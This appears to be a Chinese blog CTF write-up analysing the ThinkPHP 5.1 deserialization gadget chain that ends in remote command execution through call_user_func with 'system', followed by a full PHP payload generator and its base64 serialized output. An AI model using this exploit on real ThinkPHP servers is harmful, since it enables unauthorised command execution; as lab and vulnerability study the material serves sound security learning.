基于一道ctf 引发的 TP链分析

CTF | CTF比赛题解分享 前言:由于此次比赛的题目较多,所以这是这个比赛的第一篇wp,共20题,先记录一下,防止忘记。里面有些题目是新手题较为简单,但也有许多有意思的题目,真的是做的过程痛不欲生,做完才感觉到酣畅淋漓,废话不多说,开写。接下来就可以定位了。1.这次显示文件是个jpg格式的图片,但是打不开,16进制编辑器打开,看到文件头出现了IHDR头,就可以想到其实是个png格式的图片,再看到文件尾,更加证实了是个png文件。4.第三张照片是最头疼的,全都是高楼,能够看到的只有广西农信,时代丽都,搜索相关位置,找到了大概区域。 阅读详情

回看 newstarctf week 3 的web题
想了想看看tp链吧
这道题是tp5.1 的版本
链比5.0的 短而且清晰,基于我这个shaluan tp不知道为什么动态调试出了问题 ,就只能静态分析了
首先是定入口
这里5.0和5.1的入口都是一样的
think\process\pipes\Windows.php
在这里插入图片描述他的destruct方法会依次调用其close 方法 和removeFiles 方法
在这里插入图片描述close下没看出什么能利用的地方
在这里插入图片描述这里有个file_exists方法和一个unlink方法 如果有反序列化入口的话 那么这里就是一个任意文件删除了,
反序列化中有个__toString的魔术方法 如果将有该方法的类当作字符串来调用 就会触发这个魔术方法 这里的file_exists 就会触发这个方法
在这里插入图片描述搜一下这个方法这里可以全部点开看看发现只有第一个能有后续的操作
而且因为是漏洞分析所以可以明确指出是第一个类中的toString方法

来到这个Conversion.php中
在这里插入图片描述看到这个方法调用了 toJson的方法

在这里插入图片描述继续调用toArray的方法
在其中我们看到了这样的一个代码段
在这里插入图片描述因为上面都没有return的操作 所以肯定会执行到这里
首先判断$this->append 是否为空
在这里插入图片描述
这个是我们可控的,在一开始反序列化的时候直接传进去就可以了
如果不为空 则把 这个键名 拿出来 看看
这个getRelation方法是如何传参的
在RelationShip.php下找到了这个方法 为什么是这两个类后面讲
在这里插入图片描述看到如果我们不做其他操作是个空值
这样就会调用到getAttr方法
在这里插入图片描述只有一个Attribute有进去看看
在这里插入图片描述他下面是个return $value 所以看看这个 getData方法
在这里插入图片描述这里这个 $name是存在的因为就是我们一开始传进去的键名
因此会调用第一个elseif
在这里插入图片描述所以我们要在类中加一个 $data 的变量,也就是说这个

$relation是我们任意可控的了 然后会执行这个 visible的方法.
这里涉及到另一个魔术方法了 __call 如果调用了一个该类没有的方法那么会自动执行该类的__call方法

md有点多啊 ,这里需要找的是Request下面的call方法
在这里插入图片描述这里如果有动态调试能更清晰的看出结构, 这边可以讲一下 这个 $method就是上面那个不存在的visible方法
因此return 里面的方法是我们可控的 这个Request下有一个input 方法是之前惯用的恶意方法了
但是直接调用input 里面的参数是我们不可控的
在这个类中我们找到了isAjax的方法
在这里插入图片描述他会调用 param的方法
在这里插入图片描述看到 下面参数获取
$this->get 获取get请求的参数
后调用input
因此这个
在这里插入图片描述 $data实际就是 $_GET 获取的参数 在看看getFilter
在这里插入图片描述获取了 $this->filter 因此这里也是可控
在这里插入图片描述
着两个if都会调用filterValue 方法 一个是递归调用 一个调用一次
在这里插入图片描述
call_user_func 调用 $filter 方法 将 $value 作为参数
也就是说这里可以执行任意命令了
到这整条链就结束了下面直接手撸链吧
这里跟大家讲讲为什么会选 Conversion类 以及RelationShip类
在这里插入图片描述在这里插入图片描述
这两个类的定义都是trait,因此不能直接作为反序列化的引用我们需要去找哪个类调用过他们 ,最后结果还是那个令人眼熟的Model类
在这里插入图片描述Model类是个抽象类因此需要去找一个实现它的类
在5.0的版本中 有两个 一个是Merge 一个是Pivot
5.1中只剩个Pivot了
因此整条链的逻辑就出来了

destruct()->removeFiles()->toString()->toJson()->toArray()->__call()->isAjax()->param()->input()->filterValue()->rce

<?php
//命名空间一定要写不然它反序列化自己找不到这个类
namespace think\process\pipes;
use think\model\concern\Conversion;

use think\model\Pivot;

class Windows{
    private $files;
    function __construct(){
        $this->files[]=new Pivot();
    }
}


namespace think\model\concern;
trait Conversion{}
namespace think;
abstract class Model{
    use model\concern\Conversion;
    protected $append ;
    protected $data ;
    function __construct(){
    //这个只是为了进if循环然后两次的键值要对上管你怎么写都行
        $this->append=array('ctfstar'=>['1']);
        $this->data=array('ctfstar'=>new Request());
    }
}


namespace think;
class Request{
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    protected $filter;
    protected $hook = [];
    function __construct(){
        $this->hook=array('visible'=>[$this,'isAjax']);
        //call_user_func_array($this->hook[$method], $args);
        //这个的经典写法了前面是类后面是方法
        $this->config=array('var_ajax'=>'');
        $this->filter='system';
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{}

use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
//TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czoxOiJhIjthOjE6e2k6MDtzOjE6IjEiO319czo3OiIAKgBkYXRhIjthOjE6e3M6MToiYSI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo5OiIAKgBjb25maWciO2E6MTp7czo4OiJ2YXJfYWpheCI7czowOiIiO31zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6ODtpOjE7czo2OiJpc0FqYXgiO319fX19fX0=

然后回到buu上起一个靶机测试一下是否成功
在这里插入图片描述这个get传参的键名也随便传都ok的因为是从get里面取出来的,然后传多少个执行多少个
这是tp5.1的链 相较于5.0的两条算是流程较短的了

mysql 反序列化_从一道CTF题目中学习ThinkPHP反序列化 前言去年的安洵杯,里面有一道iamthinking的题目(好像是这个名字吧),里面考察到了tp6的反序列化(通过访问www.zip可以下载源码),按照惯例,我还是没有做出来,我不知道咋绕过那个正则emmmm,给没有做题的大师傅献上关键源码吧,如果有师傅懂,欢迎评论<?php namespace appcontroller; use appBaseController; class Inde... 阅读详情

相关推荐

CTF——Thinkphp5远程命令执行漏洞利用

[BJDCTF 2nd]old-hack(5.0.23) 进入之后: 打开页面,页面提示powered by Thinkphp。说明可能和thinkphp框架有关。也确实如此,这里用到了thinkphp5的远程命令执行漏洞。 Thinkphp5远程命令执行漏洞 漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用 $_POST['_meth...

qq_45521281的博客 8274

TPCTF2023 OSINT | 小T的日常

TPCTF作为XCTF国际联赛的分站赛,给我感觉,题目很新颖,难度不小。OSINT仅一道题,做完之后,感觉比较有意思,记录一下思考过程。同时寻找日本知名的一元店,百度到了几个日本知名品牌。

zerorzeror的博客 1239

Kettle下载与安装教程【保姆版】

Kettle简介 Kettle最早是一个开源的ETL工具,全称为KDE Extraction, Transportation, Transformation and Loading Environment。后来Kettle重命名为Pentaho Data Integration 。 它由Java开发,支持跨平台运行,其特性包括:支持100%无编码、拖拽方式开发ETL数据管道;可对接包括传统数据库、文件、大数据平台、接口、流数据等数据源;支持ETL数据管道加入机器学习算法。 主要功能 Pentaho D

weixin_43407520的博客 12万+

TPCTF2023 Web方向 个人题解Wp

TPCTF2023 Web方向 个人题解Wp

Jay17的博客 1468

LM Studio Bionic:本地AI智能体从部署到实战完整指南

AI智能体作为能够自主规划、执行多步任务的人工智能系统,其核心原理在于结合大语言模型的推理能力与工具调用机制。通过状态保持和任务分解算法,智能体实现了从单次问答到持续协作的技术跃迁。在工程实践中,这种架构显著降低了复杂任务自动化的门槛,特别适用于数据敏感场景和定制化需求。以Tesla V100等专业硬件为例,本地部署能充分发挥其大显存优势,支持更高精度的模型量化格式。在实际应用层面,智能体可无缝集成到代码审查、文档生成等开发工作流中,而LM Studio Bionic通过统一界面整合了模型服务、任务规划器等

weixin_29053695的博客 660

实战分享:如何用Jetson Nano+HM30图传搭建低空YOLOv5检测系统(附VNC避坑指南)

本文详细介绍了如何利用Jetson Nano和HM30图传搭建低空YOLOv5检测系统,重点解决了无人机应用中的硬件连接和VNC延迟优化问题。通过对比WiFi直连与图传方案的优劣,提供了网络配置、VNC优化及YOLOv5模型加速的实战技巧,帮助开发者实现高效稳定的低空目标检测系统。

weixin_29174385的博客 110

TPCTF2023 re

maze&nanoPyEnc

qq_59700927的博客 874

【Attention Is All You Need】Transformer模型精读

Attention Is All You Need》这篇论文奠定了Transformer模型的基础,为深度学习的发展提供了新的方向。Transformer通过自注意力机制和并行化处理显著提升了计算效率和模型性能。然而,Transformer的广泛应用也带来了新的挑战,如计算资源的消耗和对长序列的处理能力等。随着技术的不断发展,研究人员已经提出了诸如Efficient Transformer、Reformer等变种,旨在提升Transformer的效率和适应性。

Lewiz_124的博客 1499

171218 逆向-TPCTF(re200)

1625-5 王子昂 总结《2017年12月18日》 【连续第444天总结】 A. TPCTF-来自计算机七号的挑(song)战(fen): B. 无壳无花,只不过提示语都是中文有点蛋疼我记得之前修复过IDAv6.8的字符显示,貌似IDA这货是不会保存配置的,除非手动改配置文件。。。行吧,重新学习一下 Shift + f12发现仅有flag和hi, man这两句英文被找到了,中文全部丢

whklhhhh的博客 974

dify进阶:使用 FastAPI 的 StreamingResponse 实现高效的数据流传输

在 FastAPI 框架中,是一个非常有用的工具,它允许你以流的方式发送数据给客户端,而不是一次性加载所有内容到内存中再发送。这对于处理大型文件下载、视频流或者任何需要长时间处理的任务特别有用。

xiezhipu的博客 1434

QT+Halcon实现螺纹检测

工业上要检测螺丝的内外直径、内外牙距、内外角度,现在比较好用的图像处理库,开源的opencv,收费的有halcon。为了实现螺纹检测,和对比螺纹检测拿个库比较好。分别用opencv和halcon实现了螺纹检测,通过对比发现用halcon实现的效果比较。现在用博客把实现过程记录下来: 1、需要检测的螺纹数据如下: 2、为了实现检测螺丝以上数据,螺纹内径、螺纹外径、螺纹外牙距、螺纹...

专注现代C++实战,从核心语法到高性能编程,助力开发者深入掌握系统级编程精髓。 7052

CTF Web安全实战:文件包含漏洞原理、绕过与利用链分析

文件包含漏洞是Web安全中的一种常见高危漏洞,其核心原理在于应用程序在包含文件时未对用户输入进行严格校验,导致攻击者可以控制文件路径。在PHP中,include()和require()等函数若直接使用外部参数,可能引发本地文件包含(LFI)甚至远程文件包含(RFI)。该漏洞的技术价值在于它常作为攻击链的关键一环,结合伪协议利用可实现代码执行,进而读取敏感文件或获取服务器权限。典型的应用场景包括CTF竞赛、渗透测试和代码审计。本文以一道中职CTF赛题为案例,详细拆解了从信息收集、源码泄露到利用php://in

weixin_34327223的博客 567

从 OA 门户到 SAP 的单点登录全景解析

OA(Office Automation)门户往往已与企业身份证明源(Microsoft Entra ID、LDAP 等)集成。管理员希望:员工在 OA 登陆后访问 SAP Fiori Launchpad、OData API 或 RFC 接口时无需再次输入账号密码,而 SAP 仍能识别用户身份并执行基于角色的授权。此时 OA 可以直接充当 IdP,也可以把企业 IdP 发放的令牌转发给 SAP 充当 SP(service provider)。SAP Help Portal 将这类跨系统认证称为 single

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 999

ThinkPHP5反序列化漏洞实战:从文件上传到RCE的完整利用链分析

本文深入剖析了ThinkPHP5框架中一个经典的反序列化漏洞利用链,以2019年强网杯CTF的UPLOAD赛题为实战案例。文章详细拆解了如何通过可控的Cookie触发魔术方法,构造POP链,将上传的图片马复制为Webshell,最终实现远程代码执行(RCE),并提供了完整的POC脚本和防御建议。

gaochao的博客 295

【异常】安装hermes-agent时提示GnuTLS recv error (-110): The TLS connection was non-properly terminated.

Git克隆仓库时出现TLS连接异常报错的解决方案摘要: 当执行git clone命令时遇到"GnuTLS recv error (-110)"报错,通常由网络不稳定、缓冲区不足或证书验证问题导致。主要解决方案包括:1)增大Git HTTP缓冲区(git config --global http.postBuffer 524288000);2)使用GitHub镜像站加速克隆;3)临时禁用SSL验证进行测试;4)检查并调整代理配置;5)改用SSH协议克隆。建议优先尝试增大缓冲区和镜像站方案,

奶爸的编程之路,也就一周冷个三天 1352

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

TPCTF2025 -Web Writeup

TPCTF2025 WEB WRIREUP WP

GKDf1sh 828

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

TPCTF 2025 web 复现

其实在上一篇文章里有绕过策略,整体思路是采用 style 绕过,测试发现当 style 标签前面跟上一些字符时,style 内部的元素可能会得以保留,故这里采用的是删除策略,把 xss 的 payload 构造好后,把 script 标签插入 content,在第二次 post 的时候删除就行。在views.py中看到拿到flag的逻辑,要求传入username和password,根据传入的数据去查询,如果查询到的密码跟自己设置的密码一样,那就给出flag。复现环境没有bot,试着可以弹窗就说明成功了。

2301_79035389的博客 1481

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

[TPCTF 2025] crypto 复现两题

周末很忙。比赛都没怎么看。晚上把密码复现两个。

weixin_52640415的博客 520

[2023TPCTF] mXSS利用之Walk Off The Earth

这道题引入了一个概念,工作量证明(Proof of Pow),也就是第一个考点。所以difficult越大,计算难度也就越大,那么如果我们找到了一个符合条件的字符串,那么就代表你通过计算完成了一些工作,系统就会给你一些奖励。之前没接触过区块链,所以做这道题时看到需要哈希碰撞就以为走不通,但是事实这种difficult下的计算对于现代计算机的算力来说小事一桩。现成的Pow强度检测工具使用时要注意,0的个数是以byte为单位的,所以题目给出的difficult为7,就是前7位。

qq_42585535的博客 402

2025-VNCTF-wp

VNCTF 2025 wp

m0_73889365的博客 1079

TPCTF2025 Crypto:enrypted chat

TPCTF2025 Crypto:enrypted chat。

2203_75647316的博客 1356

CTF命令执行的常见姿势

1.**cat fl[abc]g.php ** //匹配[abc]中的任何一个。11.**vi **–使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出。1.**wh\o\ami ** //反斜线绕过。3.**cat fla* ** //用*匹配任意。3.**whoa’m’i ** //单引号绕过。4.**whoam``i ** //反引号绕过。8.**nl **–类似于cat -n,显示时输出行号。

会点三脚猫功夫。 1799

这些CTF,不仅学技术,还有巨额奖金!

不会吧,不会吧,不会还有安全er不知道CTF是什么吧?哈哈,跟大家开个玩笑。金庸武侠小说中,武林高手要么举办华山论剑,要么召开武林大会,通过这些盛会和比赛来切磋武力值。在程序员的世界里,也有ACM这样的编程大赛,成为各路编程高手一较高下展示能力的平台。那在网络安全的圈子里,各路黑客红客白帽子们又是如何秀出他们的狂拽炫酷吊炸天的技术的呢?这就是本文的主题:CTF。CTF(Capture The Flag)中文翻译就是夺旗比赛,这是网络安全领域技术人员之间进行技术竞技的一种比赛形式。

weixin_68789096的博客 1301

ctf之php漏洞,ctf入门到Thinkphp2.x、3.0-3.1版代码执行漏洞分析

前言:文章可能有点长,小弟不才,只能靠刷ctf来理解一些内容。若有不恰当之处,望大佬们不吝赐教。一、[BJDCTF2020]ZJCTF先做一道ctf压压惊:[BJDCTF2020]ZJCTF构建以下payload,进入if判断,并且进入include()函数?text=data://text/plain,I have a dream&file=php://filter/convert.ba...

weixin_39738380的博客 857

thinkphp5.x全版本任意代码执行getshell

ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本,推荐尽快更新到最新版本。 主要是因为”\“的错误 补丁: Thinkphp v5.0.x补丁地址:https://github....

bamanju0574的博客 4463

ctfshow-thinkphp篇

基础知识 关于thinkphp需要知道的基本知识 https://www.kancloud.cn/manual/thinkphp/1696 demo1 修改 D:\phpStudy\PHPTutorial\WWW\thinkphp-3.2\thinkphp-3.2\Application\Home\Controller\IndexController.class.php <?php namespace Home\Controller; use Think\Controller; class Inde

giaogiao123的博客 1235
上一篇: NewStarCTF week5 web wp
递归 trash can
博客等级 码龄6年 46粉丝 11原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值